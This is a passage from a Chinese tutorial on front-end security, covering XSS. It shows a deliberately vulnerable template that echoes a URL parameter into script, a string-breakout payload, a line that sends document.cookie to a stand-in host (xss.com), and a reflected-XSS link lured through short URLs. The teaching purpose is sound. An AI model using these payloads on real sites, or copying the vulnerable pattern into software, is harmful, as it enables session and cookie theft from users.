前端安全知多少

说到安全，大家脑海浮现的一定是这种场景。

他们噼噼啪啪敲几行代码，就能控制对方电脑于千里之外，酷到没朋友。

但这些似乎离前端还挺远的。常常听到什么SQL注入，缓冲区溢出，DDoS，CC攻击，好像和前端也没啥关系，渐渐的会觉得安全是后端的的事。

 

但真的是这样的吗？想起来前不久公司安全部门统计的漏洞列表

看，前端经典的XSS漏洞占据了90%以上。所以学习和了解前端安全方面的知识，还是十分有必要的。

 

接下来我们聊聊前端安全，主要从以下几块来讲

 

一、XSS攻击与防御

二、CSRF攻击

三、HTTP劫持与对策

四、界面操作劫持

五、防御手段

 

 

---

 

一、XSS攻击与防御

当年写过这样一段代码，form提交表单后，如果有错误，需要前台alert出来。

偷懒采用了如下思路

1、提交表单之后再次重定向到当前页面，然后把错误信息放入url中。

2、controller层把url参数传入模板。

3、模板部分如果变量有值，就alert出来。

 

代码大概如下

// 假设提交表单之后定位到这个页面

// http://www.wrong.com?msg=param-error

 

// 页面上模板上，为了省心，有这么一段

<script>

   // … 省略一些代码，{{}} 是模板引擎引入变量的语法

   alert('{{query.msg}}');

</script>

 

乍一看，这么写没什么问题。{{query.msg}}会被替换成 param-error。模板被解析成html的时候，会变为alert('param-error’);

 

但是，如果有人不怀好意，访问这样一个url

http://www.wrong.com?msg=');alert(document.cookie);('

然后代码就变成了

alert('');alert(document.cookie);('');

访问这个页面，弹出了cookie。

 

当然，弹出cookie没有太多价值，但如果我们把代码改成

new Image().src = 'http://www.xss.com?data=' + document.cookie;

 

这样，我们就把目标用户的cookie发送到我们的服务器上了。而cookie中极有可能存在用户的隐私数据甚至是用户的登录session。

 

当然，这只是一个最简单的例子，用来说明攻击的原理。实际情况下，我们会遇到很多限制，比如浏览器的自动转码，cookie的only http标识等。

 

XSS的攻击有很多种方式，通常情况下，我们会对XSS攻击做如下分类

1、反射型XSS

发请求时，XSS代码出现在URL中，提交给服务端。服务端返回的内容，也带上了这段XSS代码。最后浏览器执行XSS代码。

通常情况是攻击者找到有XSS漏洞的网站，然后构造一个连接，就像这种

http://www.hasxss.com?x=<script>alert(document.cookie)</script>

带有攻击效果的链接

然后诱导你点击

通常他们会把链接短链一下迷惑你，就好比

http://dwz.cn/woshiduanwangzhi

PS:通常还会加上一句类似 ~你们看看王宝强儿子长得像谁~ 这种标题